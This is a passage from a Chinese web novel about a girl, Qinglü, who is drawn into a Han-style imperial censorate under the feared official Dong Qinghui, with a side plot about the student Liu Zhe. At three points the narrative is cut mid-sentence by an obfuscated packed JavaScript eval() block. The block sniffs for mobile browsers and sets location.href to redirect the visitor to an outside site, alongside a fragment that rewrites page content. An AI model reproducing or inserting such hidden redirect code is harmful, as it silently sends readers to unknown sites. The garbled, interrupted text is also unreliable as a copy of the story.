“等等,你遇到的可是一位须发皆白身材瘦俏的老头,哦,可是在一个种着几哇黄瓜的独门小院里遇见他的。”不凡紧盯着青绿的双眸,语气急促。 青绿不敢隐瞒,老实答道:“是的,瓜老头武功极强,一定要我答应拜他为师,不答应便不许我踏出院门,我只能应下了。” 不凡脸上的表情瞬间凝固:“天,你怎么招惹上这个魔头?” 青绿嗫嚅道:“大哥,他是何人?” 不凡稳了稳心神,一字一句道:“他乃当今兰台掌门,御史中丞董清辉。” 青绿似乎听过兰台这个词,却想不起来在何处,因问道:“何为兰台?何为御史?” “御史是监察百官的官员,御史中的一小部分,奉皇帝御诏专事宫中监察,称为侍御史,兰台便是侍御史的官署。”补充解释,“监察,指监督及检举。” 青绿喃喃道:“监察?还兼种瓜?” 不凡拿起茶几上的紫砂茶盏抿了一口:“你看见的小院,紧挨着的宫殿便是兰台。只是你去那地方做甚?那是董中丞的领地,他性情怪癖,平素不与任何人交往,有擅闯者,那是竖着进去横着出来。” 青绿倒吸一口凉气,不自觉地将身子缩成一团。 车内气氛异常沉闷,此时有雷声隐隐传来。 不凡心潮起伏,又怕自己紧张的情绪吓着青绿,便掀开窗纱望向车外,但见墨色浓云在天空翻滚,不时现出道道闪电。 青绿心里不托底,语气有些飘忽:“御史中丞,权力很大么?” 不凡回过头来,脸色已然转霁。他放慢语速,唯恐青绿听不明白:“这得从头说起。汉帝国权力结构呈塔形,塔的顶端是皇帝,之下是丞相、太尉及御史大夫,合称‘三公’。丞相居百官之首协理政事,太尉掌军事,御史大夫掌监察事务。” 青绿似懂非懂。 不凡顿了一顿,若有所思道:“爹去世将近两载,丞相仍是虚位以待。”一般而言,丞相位出现空缺,由御史大夫升任。 青绿的心隐隐作痛,双眸泛起泪光。 不凡忙收回脱缰的思绪,接着上面的话题:“御史大夫之下便是御史中丞,御史中丞不在宫外的御史大夫府处理庶务,而是另居宫中兰台,直接听命于皇帝。其职责,对外监督部刺史、对内管领御史及侍御史。” 青绿听得云山雾罩,有些忐忑地打断大哥的话:“大哥,何为刺史?何为御史及侍御史?这屎那屎的,我脑子都被糊住了。” 不凡咳了一声,忍笑道:“简而言之,御史专职监察,侍御史是直接听命于皇帝的御史,而朝廷派往各州的监察官员便是刺史。” 见青绿双眼茫然,不凡放缓了语气:“一下与你说这些,你也不明白。你只需知道,御史中丞虽为御史大夫下属,但在行使监察权时却不受御史大夫限制,可直接面圣弹劾不法者。执监察之牛耳者,兰台掌门,便是那位欲收你为徒的御史中丞董清辉。” 这最后几句青绿倒是听明白了,她有些后怕:“所以他若要杀我,便如捏死一只蚂蚁?” 不凡摇摇头:“只知他疾恶如仇,眼里容不得沙子,曾经他深爱的女子求他放过自己的父亲,他铁石心肠不为所动,以至于那名女子随父流放死于中途。据说,他想杀谁,即便是罗织罪名,也要不择手段达到目的。” 青绿想到瓜老头的那副尊容,认可了这个说法,心里不免又多了一层骇怕:真要在这么一个心狠手辣的老头子手下讨生活?可若是不答应,还能进宫么? 不由叹气:以为能摆脱秀女的刻板训练,却掉入未知的恐惧,不知是祸是福也。 车内归于沉默。 青绿忽然问:“大哥,你为何还没娶亲?丫丫姐呢,还是时常伤春悲秋?”她眼前浮现出色如芙蓉体态如弱柳扶风的一名女子。 不凡苦笑:“原定去年成亲,孰料爹娘仙逝需丁忧三年。然丁忧才满一年,陛下便以国事繁杂为由将我度情起复,你二哥亦是如此。归伯父之前因蹲过牢狱的缘故,一直抱病,大前年从御史中丞任上致仕,丫丫随他告老还乡。”眸中含了无尽的温柔,“三年没见她了。” 丫丫姓归名若兮,是爹娘替凡不凡聘定的娘子,其父归芾之,几经宦海沉浮,最后回京担任御史中丞。凡、归两家是故交,丫丫亲娘早逝,丫丫便时常寄养在凡府,因其身子虚弱,妹娘多有照顾,不凡亦最喜保护弱小,青绿没少吃丫丫的醋。 十年生死两茫茫,回到京师,已然物是人非。青绿内心一阵酸楚,喃喃道:“二哥何时才能回京呢。” 马车停在约素园门口,二人下了马车,不凡解下驾车的马,跃上马背,勒紧缰绳对青绿道:“晚膳不必等我。” 青绿看看天色,又看看不凡,担忧道:“大哥,要下大雨了。” 不凡道:“无妨。”双脚一夹马肚,朝来路疾驰而去。 浓重夜色之中,兰台灯火通明。 凡不凡一言不发大踏步径直走进董清辉的书房,几名吏员神情慌张碎步跟随其后,却不敢阻拦这个皇帝身边炙手可热的年青议郎。 站在书架前捧着简牍的董清辉听见脚步声,缓缓回头,扫了不凡一眼,朝吏员们挥挥手,吏员们悄无声息地退下。 董清辉面无表情道:“凡议郎光临兰台,有何指教?” 不凡脸带怒容,语气冰冷道:“不敢,我长话短说。凡府与兰台素无往来,请问中丞大人何故要逼迫一个小丫头给你当徒弟?” 董清辉将手上简牍甩在面前巨大的书桌上,冷声道:“我收我的徒弟与你何干?” 不凡瞬间有拿起桌上简牍砸到他脸上的冲动,却仍是压下了怒气道:“旁人自是不关我的事,但你昨日收的徒弟姓凡,是凡家二姑娘,凡府还没穷到要靠女子抛头露面挣银子的地步。” “那丫头是你亲妹子又如何?又不是我逼她出来打工。” 董清辉脸色阴沉,有些强词夺理。 不凡针锋相对,语含嘲讽:“哦,那便是我妹子自愿的,天底下竟然有如此自愿,不答应便出不了院门,哦,还有黄瓜管够,真是让人大开眼界。我便不明白了,你兰台侍御史,往好听了说,是陛下的千里眼顺风耳……” 董清辉冷笑着打断他:“往难听了说,是皇家的看门狗,有事无事在堂上朝官员吠几声。” 凡不凡一点也不尴尬:“中丞大人原来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两个吏员分别提着茶壶和两个大碗跑进来,给大碗满上茶,董清辉示意吏员将其中一碗递给不凡,不凡双手捧着咕咚咕咚灌了几大口,道:“当不当你徒弟,你我说了不算,得她自己愿意。” 董清辉胸有成竹地扯了扯唇角:“呵呵,凡议郎,晚来天欲雨,能饮一杯无?” 春松阁右梢间内,青绿信手翻阅着娘留下的简牍及绢帛,内容十分繁杂,精心研读之处皆有批注,其中尤以治国理政方面的内容批注最多,足见娘的博学多才。 青绿翻出一整套《韩非子》,数了数共五十五册,娘在上面给一些名词作了注解,但仅止于第三十一册。 或许娘只阅读到此处吧,青绿想,但翻至最后一册,几行娟秀的小字映入眼帘:韩非子监察理论的主要内涵,概而言之,即以法禁之、以术察之、以势治之,方能趋治避乱。 她心内一动:监察。 “二妹妹,歇了么?”一个声音在窗外问道。 青绿听出是大哥的声音,一边应“未曾”一边迎出门来。 不凡一身酒气,一把拽住她的手,斩钉截铁道:“二妹妹,我只问你一句,是否真要给董清辉当徒弟?如你不愿意,我便替你回绝了。凡事有大哥在,你不用怕。” 妹娘跟在凡不凡身后,神情紧张地问青绿:“谁要收你为徒?太后只是让你进宫学规矩,他比皇后皇太后还厉害?”未等青绿回答,脑子里崩出一个主意,“如你不愿意,我也有个法子,只说你已聘了人家。” 小北在妹娘身旁忧心忡忡道:“但今日来提亲的什么君候夫人与她的傻儿子,不是被妹娘您老人家赶走了?你还怼那夫人,说咱家二姑娘即便嫁不出去也不会嫁与你儿。这一时半会的又上哪找合适的人家?” 妹娘尴尬而忿忿:“是那夫人说话寒瘆,说她儿憨厚,不嫌我家姑娘没读书长得丑,只当打了对折便宜二姑娘了。我呸,便她家那脑子泡过水、已届而立之年仍啃手指头的傻儿子,竟也敢上门提亲。倘老爷在世,谁敢说这些混账话?” 应是气极,向来厚道的妹娘很不厚道地将什么君候家的傻儿子恨恨损了一下,连姓啥都给忘了。 一向沉稳的不凡也有些失控,喷着酒气爆了句粗口:“特么的,再有地主家的傻儿子上门自取其辱,别等他娘亲打对折,妹娘你老人家大可将他打到骨折,打得他满地找牙。” 青绿惊诧莫名,不过,这样的大哥她倒觉着多了几分亲近。因摇头道:“大哥,我想好了,我既然答应了董中丞,便不能食言。” 心里却想:我不答应便不能进宫,不进宫如何查清九年前被套麻袋事件? 13. 第十三章 兰台 凡不凡见青绿执意要进兰台,顿足道:“小二,你何苦要去受那份罪,既受上司荼毒又受官员孤立。” 青绿眼珠子转了转,不给大哥摆出点大道理估计过不了他这一关,便将大哥拉进房内,拿起《韩非子》最后一册递到他手上:“大哥你看娘的备注,或许她在冥冥之中也希望我去一探究竟吧。” 凡不凡看了一眼手里的简牍,对她摊牌:“监察之路异常艰辛,归伯父便是前车之鉴。人皆怕你恨你,到了最后只剩下你孑然一身孤独前行。” 青绿低头默了一默,轻声道:“前行的路无论多么黑暗和崎岖,多少风吹雨打,多少孤独委屈,总会有人同行。也许不多,但一定有,萤火之光,已足够温暖。”抬起头,目光坚定,“大哥你不必再劝,我已决定,翌日便进兰台。” 凡不凡明白多劝无益,长叹一声,转而目光炯炯看着她:“既决定入职,记住,你我皆凡家儿女,便当全力以赴,不能半途而废,不能给爹娘丢脸。” 青绿汗颜,大哥随时都能上纲上线,让人有些不堪重负,只得严肃认真地点头答应:“好。” 菡萏池里的菡萏正在开枝散叶,碧绿的荷叶袅袅婷婷,风仪玉立,晨风吹过,有映着阳光的五彩小水珠从荷叶上慢慢滚落,青绿在池旁呆呆看了一会蜻蜓点水,下了最后的决心踏进了兰台。 这是一座大型封闭式院落,东西五丈、南北三丈,一堵南北向的隔墙将院落分成东、西两部分,称东院和西院。 东院有北门和西门,北门位于东北角,为进出东院的“后门”,门外东侧有一小院,内有水井及种有黄瓜。西门位于西南角,为沟通东院与西院的门道。院内南北各有一排面阔三间、进深两间的长方形房屋。 西院只有南门,位于西院东南角,是西院主要通道,也是兰台的主要门道,门道面阔、进深近丈长,内设门房。院内南北各有一排八间大正房。 两院南北两排房屋之间均有天井及凉亭,四周有回廊相连。 青绿在门房处递交了令牌,候了片刻,便有一名神色和蔼自称管事的陆姓中年男子迎了出来,青绿注意到他走路时左右脚高低不平。 青绿朝他福了一福,口称:“青绿见过陆叔。” 跛脚陆叔领着青绿边往里走边道:“兰台人手一直短缺,姑娘来了便好,董中丞安排姑娘任主薄,在他身边记事。近日他不在兰台,姑娘便先熟悉环境,掌握御史庶务要素,相应文书我已放在姑娘书房,每日姑娘离开之时,须锁入密柜。” 青绿忙道:“有劳陆叔,青绿记住了。” 陆叔带她穿过门房,指着右边一个虚掩着的门笑道:“姑娘的书房在东院。我先带你看看西院。” 他领青绿顺着左廊道边走边说:“朝廷现有御史三十人,皆戴法冠,衙署便是宫外的御史大夫府;侍御史十五人,统一绣服,衙署为兰台。御史府与兰台一堵宫墙之隔,宿庐皆在石渠门外。兰台还有掌管公文处理的掾、属、令等吏员及卫士、打杂宦者共四五十人,均在西院。” 青绿所过之处不时冒出几名年轻吏员的脑袋,盯着她快速认真地审视几眼,便又缩回屋内,不说话只是失望摇头。 昨日他们便听闻兰台要来一名女子,消息可谓劲爆。 因为兰台从来都是男人的领地,用他们的话说便是连蚊子都是公的,好不容易盼来一名异性,便都希望她貌若天仙,每日看着养养眼。 孰料一见之下却大失所望,不过是一名还没长开的黑瘦小姑娘,董中丞脑子有坑么?挑这么个不起眼的。 也罢,有胜于无,自老主薄告老还乡后,为着这个主簿之职,董中丞换了不下十人,无一人入得了他老人家法眼,他们这些临时充当主簿的,都被骂成了秃头,故无不盼着小姑娘能有过人之处,能够待的时间长一些。 于是又各各伸出脑袋,在自命不凡的神态下挤出笑脸对小姑娘的背影亲切行注目礼,哪叫啥?叫感情留人。 青绿凭第六感只觉着聚焦在背上的目光一阵凉一阵热,如芒剌在背,她偶一回头,便看见一堆齐刷刷迅速回缩的脑袋瓜。 青绿笑笑,将目光投向院中景物,但见一水的青石板地面,青灰色墙壁,攀附在隔墙上的迎春花开着灿烂的黄色花朵,给庭院增添了一抹亮色。 紧靠院墙种有青竹及芭蕉,墙下开一隙,有清泉灌入盘旋于竹下,流经东北角一座假山而入东院。再看假山,奇峰耸立,黛青色的山峦绵延起伏,似是看不见来处,望不到尽头,峰谷之间清泉逶迤,蜿蜒曲折。 青绿叹道:“此山竟比真的还好看。” 一直含蓄观察她的陆叔笑问:“姑娘见过实景?” 青绿回忆道:“我在零陵郡始安县呆过,回京乘船路过漓江段,这山水倒像是缩小了的漓江。” 陆叔语气里满满的自豪感:“那是陆叔的故乡。”顿了顿,多了一份他乡遇故人的亲切,“唉!我家女儿与你一般大,日日吵着要行走江湖,要做漓江仙人。” 青绿笑道:“令媛家学渊源,于审美方面必是修为良好,人也长得如漓江仙子吧。” 陆叔脸上笑成了迎春花:“不值一提,小女能有姑娘一半的待人处事,我便放心了。” 青绿停下脚步,小脸皱出一张苦瓜相:“陆叔你这是在骂我呢,我闯的祸多到罄竹难书,没少让爹娘兄姐操心。” 陆叔哈哈大笑:“恕陆叔失言,小女若有机会向你讨教,也让她知道江湖艰辛。” 陆叔领青绿进了东院,指着北面三间正房最东头的一间道:“那便是姑娘的书房,隔壁是董中丞,西头是御史丞管仲舒。”又指着南面一排房子,“此为库房。兰台是官署,也是收藏郡国计薄、臣子奏章、皇帝诏书、规则法令等几类图籍秘书之地。” 青绿点头“哦”了一声,心道:御史丞又是啥? “当然,只存放与举劾按章有关的图籍秘书,御史中丞亲自掌管,一般的档案图书存放在石渠阁或天禄阁。” 似乎猜透她的心思:“御史中丞之下便是御史丞,侍御史归他管。”前后看了看,客气告辞,“我便不打扰姑娘了,缺甚物件告诉我便可,我日常在西院呆着。” 青绿施礼:“谢过陆叔。”目送他一拐一拐出了东院。 瓜老头没有露脸,只给青绿派了两件事,一是给瓜地的黄瓜秧浇水,二是在他回兰台前读完书房内所有书册。 于是每日,静悄悄的东院,青绿将脑袋埋在桌上堆积如山的书册之中,一边看一边嘴上念念有词。 她对文字有过目不忘的本事,但记得牢却未必能理解,又不敢打扰西院里埋头书案面无表情的吏员们,便只能自己生吞活剥囫囵吞枣,吃下去再说,消不消化看胃的造化吧。 每日寅时她苦兮兮地与大哥同乘一辆马车进宫,到晚间等大哥忙完庶务再一同回家,常累得泡在浴桶里都能睡着。 妹娘心疼却知道劝也无用,便吩咐丫鬟们将膳房与浴房无缝对接,确保她吃饱洗漱完便能上床睡觉,中间无片刻耽搁。 饶是如此,在去皇宫的马车上,青绿仍是东倒西歪地睡了一路,凡不凡想与她说话都不忍心叫醒她。 此日,她看到涉及监察职能的部门及分工一节,既有中央的又有地方的,直看得眼花缭乱,合上书本抬头感慨:原来并不只有兰台在干监察这份活啊。 她挠挠脑袋,想起娘教过她的读书办法,纷繁事物皆可图示,图画得出来,经纬便也理清了。她找出一张纸,在纸上列了几个名称,又分别用直线各各标出它们之间的关系,一张清晰的网格图便呈现在眼前。 果然,她的头绪没那么纠结了。 这是一张纵横交错的监察网。垂直监察体系,由御史中丞、刺史、督邮和廷掾组成;横向监察体系,由兰台、丞相司直、司隶校尉组成。 于纵向而言,其时天下实行郡县制,划分为十三州和一个司隶校尉部,共十四个监察区,每州派刺史一人;郡设督邮,县设廷掾,负责辖区各级官员监察。 于横向而言,监察机构有兰台、丞相司直、司隶校尉三大系统。 兰台御史中丞为中央专门监察机构长官,包括三公在内的中央及地方二千石官员均在其监督之下;丞相司直代表丞相行监察权,监察除京畿之外的百官;司隶校尉仅负责监督京畿官员,有独立监察权。 如此,形成了中央与地方彼此分离,又紧密联系的多元监察网络,各监察体系既分体运行,又互相交叉、彼此制衡。 “大网一撒,所有官员便如网中之鱼,当然我也是网中的一条小小鱼。”青绿抚额。 她继续往下看,当看到御史和侍御史的职责及分类时,又开始头大如斗。 御史职责为监察违法、举劾违失、受理中央公卿奏事等;侍御史奉诏监察,有违失则劾奏。侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457167|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 御史又分治书、绣衣、符玺等类别…… 青绿不得要领,又翻回之前有关御史中丞、丞相司直、司隶校尉的职责,自言自语道:“同是监察,这谁的官更大些?” “切,哪冒出来的傻丫头,你管他谁官大做甚?”一声嗤笑传入她耳内。 她从小山一样的简牍中探出脑袋,看见一名胖子双手撑在书桌上,居高临下地看着她。 这胖子臃肿的身躯能顶两个常人,胖脸上一双小眼睛熠熠生辉,高鼻梁下一张阔嘴,腮边两个圆而大的酒窝,虽满眼嘲讽,然面部表情却透出一丝极不合时宜的暖意。 不看他的身材单看脸面,能列入英俊小生之列。 青绿不服道:“我不才来么?你厉害你说说呗。” 胖子不屑道:“御史中丞、司隶校尉、丞相司直都是中央监察官员, 但三者互不统属,且分工明确。御史中丞侧重于朝堂上官员言行及上呈奏本的监察,司隶校尉侧重于宫外京畿官员行为的监察,丞相司直则于丞相府中观看奏折内容有无不法。” 青绿转了转眼珠子,表示明白:“分工细致,职责并无重叠。” 胖子撇撇嘴:“你问谁更厉害?从官秩上说, 司隶校尉最高, 秩两千石;丞相司直居其次, 秩比两千石;御史中丞最低,秩一千石。但从监察权来说,得倒过来,司隶校尉受丞相司直监督,丞相司直又受御史中丞监督。” 他见青绿眼珠子直楞楞地看着他,便又嘲道:“你若真要分清谁大谁小,我这么跟你说吧,好比大户人家的儿子,御史中丞为嫡子,却非长子;丞相司直为长子,却非嫡子;司隶校尉则是外室生的野种,明白了么?” 青绿老实道:“明白了,自然是嫡子厉害些。” 胖子一拍青绿脑袋:“丫头不算太笨。” 他见青绿眼里仍有疑问,便又道:“还有什么蠢问题一并问完,不然自个留在肚子里发豆芽吧。” 青绿道:“兰台各种名称的侍御史,孰轻孰重?” 胖子手抚着胸口道:“真真要被你气死,你脑子是浆糊做的么?才开了一条缝又即刻被填上。再这么跟你说吧,便好比大户人家的妻妾,治书侍御史是正头娘子,其余侍御史是偏房,这些偏房有大家闺秀有小家碧玉,各领风骚。绣衣侍御史,是最受宠的偏房,可还明白?” 青绿没有回答,她的目光落在胖子那身大红丝绸绣衣上,上面用蓝色丝线绣着大朵大朵的牡丹花,领子压着黄丝云纹。 她眸光一闪,抿嘴而笑:“明白了,大人是最受宠的小妾。”说完脑袋快速往桌下一缩。 胖子一巴掌朝她头上拍来,落了个空,他不怒反笑道:“你个小丫头,嘴皮子倒是厉害。我问你,除了嘴皮子你还能为兰台带来些啥?” 青绿伸头,小腰板一挺,理直气壮回道:“人,带来一个人。” 胖子嘴一撇:“呵呵,也是。”脸上现出两个大而圆的酒窝。 青绿迅速在名册里翻到“管仲舒,年三十八,御史丞,掌领绣衣侍御史”等字样,对号入座:“管直指,你给我说说如何监察呗。” 管胖子道:“切,我吃饱了撑的,跟你这笨菜鸟耗神,有这功夫,回去陪娇妻美妾不快活?唉,我这出去了一段时日,一个个欲眼望穿了都。” 青绿翻了翻白眼:欲眼望穿,图你胖么? 管胖子瞪大了小眼珠子,“丫头,你还别不信,我那几房大小娘子,样貌秉性均是上乘。”叹了口气,“可就没能给我生出个带把的来。” 青绿忍了又忍:切。 管胖子对青绿正色道:“别终日埋头看这些简牍,监察监察,既监且察,要想知道何为监察,实打实去干几单,想不明白都难。”说完扭头出了房门。 青绿跟在他身后,顺杆子往上爬:“管叔,你下次出门带上我呗。” 管胖子突然止步,手一扬,嗖嗖两声,一只老鼠吱的一声惨叫,同时一只麻雀从树上一头栽下。 他收回薄如蝉翼的飞剑,自嘲道:“你有大本事?干我们这一行,小命便踹在裤腰带上,你一小丫头,无过人之处,到兰台做甚?” 青绿长叹一声:“谁说不是呢。” 她忽然上去恨恨踢了胖子两脚,怒道:“你杀老鼠便罢,好好的去杀小鸟做甚?”踢完回头便跑。 管胖子哈哈笑着朝她背影喊:“丫头别跑啊,叔教你飞剑。” 14. 第十四章 太后 山上学宫,冷面弟子刘哲上赶着要教花朵朵拳术,起因是刘哲看见朵朵脸上挂彩,问她何故,回答是隔壁的小胖子吴子桂携伙伴骂她娘丑八怪,她霸气去打吴子桂,但打不过他们。 刘哲便说教她一招管用的。 走在回家的路上,刘哲一边拆解动作一边道:“你打他的脸一掌,他必还手打你,你避开闪到他身后,右手抓住他的右手,左臂从他左胳肢窝下伸出劈他脖子,腿一扫,便能将他绊倒。”最后强调,“只许防身不可伤人,更不许朝这里踢人的命根子。”朝自己裆下指了指。 朵朵认真点头:“我听小刘的。” 她领悟力极强,站在路边练了几次便掌握了要领,却还是担忧:“可是他们人多,我还是打不过。” 刘哲拉着她朝前走:“用孙子兵法的‘走为上计’,打不过就跑。” “什么兵法?”朵朵一脸的求知欲。 “孙子兵法。”刘哲不经意道。 “你有爷爷么?”朵朵若有所思。 “有。”刘哲不解地看着她,小姑娘思维跨度之大,不会是被自己教蒙圈了吧。 “难怪。”朵朵释然,然后是一脸真诚,“孙子都这么厉害,回头你再教我爷爷兵法。” 身后传来一阵银铃般清脆的笑声,刘哲回头一看,却是一位豆蔻年华的美貌女子,似乎跟在身后走了一段路程,自己竟没有察觉,他顿时条件反射般地敛了笑容,脸现清冷之色。 女子甫一看见刘哲,先是愣了一下,后笑得一脸灿烂:“果然在树上窃听来的兵法,比在堂内听讲要精彩得多。你怎的不教小丫头利而诱之、乱而取之、实而备之、强而避之,又或是不战而屈人之兵?” 刘哲方才想起,面前这位红衣女子,便是那日他在树上听孙穰苴授课时遇见的那位,清冷的脸上不由现出几许少年羞涩,拉着朵朵让在路边低头道:“让姑娘见笑了。” 女子越过二人,大步流星朝前走,却又回过头来朝朵朵眨了眨眼:“小妹妹,姐姐教你‘老子兵法’,比那爷爷兵法管用。”言罢憋不住又笑。 朵朵一脸天真地追上她:“姐姐,我上哪找你呢?” 女子爽快道:“找右祭酒书房的薛姝姐姐。” 刘哲脚步顿时慢了下来。当日在敏学大讲堂内,便听身旁的弟子以无比崇拜的语气谈起兵法大家孙穰苴名下的女弟子薛姝。 薛姝家世显赫,乃卫将军广安侯薛凝一母同胞的妹子。 据说她周岁抓阄,无视所有胭脂水粉绫罗绸缎琴棋书画,独独去抓那把对她而言高不可攀的名为银龙的长枪,这是先帝御赐给老侯爷的,老侯爷一高兴便转赏给她。 薛姝自幼聪慧过人,五六岁便能熟读兵书。 一日,孙穰苴到侯府拜访老侯爷,聊起西辽局势,二人忍不住棋盘谈兵,在老侯爷身旁滴溜溜转悠的薛姝,竟稚声稚气地帮着排兵布阵。 喜得已收了关门弟子的孙穰苴一定要收她做关门弟子,反正他家房子多门也不少,再关几扇门也无妨。 孙穰苴在兵法界被尊为大家,能被尊为大家的必是某一学派的高高手,兼收并蓄实践提高自成一派,方能成为大家,在学宫里属稀缺资源,老候爷便也爽快答应。 薛姝跟着孙穰苴四处云游讲学,见多识广,其眼界胸怀不是一般的宽阔,美中不足的是,美人碧玉年华仍待字闺中,据说是因为遍京城便没有她想多看一眼的男子。 刘哲鼓励朵朵去找薛姝学以致用,因为最近他找了一份在书房抄录经书的活,不日将搬离百里家,怕性子倔强的朵朵吃对方人多势众的亏。一段时日相处下来,他不知不觉成了朵朵的保护伞。 学宫有不少弟子靠勤工俭学维持学业,部分是誊抄经书或到私塾当夫子,也有少部分搬砖做苦力或做买卖。刘哲自忖字写得好,理想便是在学宫内寻一份抄书的活,但这活由几个混了多年的老油子工头把持着,无人携带轻易不能进入。 说起来,刘哲得到这份抄书的活纯属偶然。 那日他到礼尚山下的礼尚街买杂货。 四月天,孩儿脸,说变就变,刚刚还是阳光明媚,一转眼便乌云密布,刘哲看天色不对忙往回赶,已遥遥看见学宫大门,但还是来不及了,豆大的雨点被一阵狂风哗哗吹落了下来。 他跑到一棵树冠如伞的大树下,从背袋里拿出一把油纸伞撑开,听见大树后传来几下咳嗽声,转过去一看,是一名个子不高的老者,麻布衣鞋已被雨水打湿。 老者手上有伞,却挡在胸前挂着的书囊上。 刘哲靠近老者,不顾他的阻拦将伞撑在他头上。 风大,为不让雨淋着老者,刘哲保持斜撑伞的姿势,老者在伞与刘哲高挑的身子之间被挡的严严实实,刘哲却完全暴露在大雨之中。 老者抬头去看刘哲,见是一名神色清冷的少年,伞影给他脸上蒙上一丝淡淡的忧郁,但精雕细琢的五官仍透露出不凡气宇,眉眼之间带着年轻人少有的遗世独立之感。 他打破沉默,开口道:“在学宫求学?” 刘哲答:“嗯。”看看老者甚为朴素的衣衫,反问,“前辈也是?” 学宫里不少白发皓首的弟子,毕竟“朝为田舍郎,暮登天子堂”是多少人的毕生追求。 老者笑容里含着一丝狡黠:“在学宫当差。”又问,“师从哪位先生?” 刘哲道:“师傅是百里冰,我只是助教。” “只是做助教,不干别的营生?”要挣学费单靠助教的俸禄显然不够,看来老者很有经验。 “才来不久,人生地不熟。” 默了默,老者道:“正好,我手上有一批经书要赶着誊抄出来,你若有兴趣,明日午时你到云溪阁后门,我在那里等你。你叫什么名字?” “刘哲,哲理的哲。”刘哲很高兴,终于与工头搭上线了,语气十分轻快,“请问前辈尊姓大名。” “我姓千,唤我老千便好。” 刘哲颔首:“谢过老千。”话一出口,怎么觉着有些怪怪的。 翌日,刘哲提前一刻钟到了老者所说的云溪阁后门,这是一处依山水而建的阁楼,位于溪水最先汇入的山崖边,享尽自然的天籁之音。 午时,老者准时出现在门口,仍是一袭朴素布衣、粗麻布鞋。 昨日刘哲并未细瞧老者的长相,今日留神看他,个子不高,髯白如雪,面色红润,双眸炯炯有神,似乎能洞明一切世事,很有些仙风道骨范儿。 刘哲拱手作揖,“老千”二字到了喉头,变成了“千前辈”。 老千微微颔首:“随我来吧。” 刘哲跟着老千穿过偌大的院子进了书房,书房很大,东西两面墙全是书架,上面摆满书籍,南面靠窗摆着一张宽阔的花梨木书桌,桌上叠放着许多简牍。 老千指着桌面上摊开的一本纸质书籍道:“我眼神不济,才抄了开头一句,你把剩余的抄完,再看让你接些什么活合适。” 两个时辰后,刘哲停笔,对老千道:“抄完了,请过目。” 老千翻开第一页,举着泛着墨香的书页细看,一手小篆宛如行云流水,不细琢竟看不出前后出自两人之手,不禁大喜:“你攻小篆?” 刘哲谦虚道:“篆、楷、草、隶、行都练过。” 老千道:“明日起你便到这里来誊抄经文吧。”递给他一个吊牌,“你可以随时进出书房。” 刘哲珍藏入怀,舒展眉头如释重负。只要努力多抄经书,不日便能赚够修习五经的束脩。因为太学课试仅考五经,目前他靠着师傅所借书籍自学,但自学终究不及亲耳聆听大师讲解。。 今年学宫入学考试定在八月,他决定考在学宫大祭酒名下,成为他的亲传弟子,大祭酒的推荐是他进入太学的敲门砖。 话说这一头,青绿坐在书房内手托腮帮长吁短叹,与她最初的想象不一样,兰台虽说在宫内,但与后宫之间有宫墙相隔,压根就进不了后宫,她记挂着那日在夕颜殿遇见的嬷嬷,直觉告诉她,这个嬷嬷或许知道当年殿里发生的事情。 她绞尽脑汁在想,若自己主动请旨去探望太后,太后是否尿她?正在权衡利弊,便见陆叔带了一名身材高挑,面白无须,有一对招风耳的年青宦官走了进来。 陆叔对青绿道:“这位是太后跟前的叶宦官。” 叶宦官躬身对青绿施了一礼:“奉太后娘娘旨,请凡主薄寿安宫觐见。” 青绿顿时心花怒放,看来自己人品尚可,想什么便来什么,因起身对叶宦官颔首道:“有劳叶宦官了。”话音未落拨脚便到了门外,“这便马上过去。” 陆叔急得跟在她后头提醒:“主薄,书册要入柜,房门要关紧。” 青绿一阵风卷回书房,三五下将书册落柜上锁,砰地一下拉上房门,对仍在原地等候的叶宦官兴冲冲道:“走吧。”见叶宦官和陆叔一脸惊诧,便信口雌黄解释,“青绿太想太后娘娘她老人家了,如隔三秋般。” 心道:只要进了后宫,寻不到那位嬷嬷,便去找梨子想办法。便冲那日梨子毫不迟疑地掰开汤圆抓住她袖子的手让她离开,她断定梨子是个敢作敢为靠得住的,必定能帮到她。 青绿笑盈盈地走进寿安殿东梢间。 窗下躺靠在美人榻上的太后眼皮子一抬,招手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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青绿长吁了一口气:“有太后娘娘做主,我便放心了。”乖巧地在太后榻前的小几上坐下,捏着小拳头轻轻给她捶腿。 太后目不转睛地盯着她的脸看了一会,宽慰道:“倒是白净了不少,只是身上肉肉还是太少,若扮作男孩,倒贴人银子人都不信你是女孩。” 青绿站起身委屈道:“这可不怪我,尝过太后这里的吃食,别处都味同嚼蜡。” 太后撇了撇嘴:“怪我喽。” 青绿嘟囔道:“不敢,横竖也不能怪我。” 太后一巴掌打在她屁股上:“小娃娃找打。”转头对大长秋令玉嬷嬷道:“阿玉,待会将才烤好的那只乳猪给娃娃带上,兰台的膳食,如脸皮不够厚估摸着也抢不过管仲舒这群狼。” 兰台有单独膳房,平心而论,膳食确实不咋地,跛脚陆叔环境搞得好,并不等于膳食也能搞得好,术业有专攻,青绿理解,且那些侍御史个个身强体壮,去得稍微迟些,便只剩些残羹剩饭了。 青绿满脸欣喜,欢呼雀跃道:“谢过太后,猪脑子还在吧?吃下太后的猪脑,不是,青绿该死,是吃下太后赏赐的猪脑,青绿脑子肯定比现在好使。太后您是不知道,上次管胖子出题:‘如何不砍下人头而称出人头重量’,我答‘先称出整体重量,然后将人头以下部位切下称重,除去这部分重量,便得出人头的重量’。” 围在一旁的一众宫人想了想,捂嘴偷笑。 青绿一脸委屈:“管胖子罚我抄了三日文书,兰台那些个侍御史全都笑我是猪脑子。唉,今日我先吃了这猪脑,也别让猪枉担了虚名。” 太后笑得前仰后合,止不住咳嗽起来。 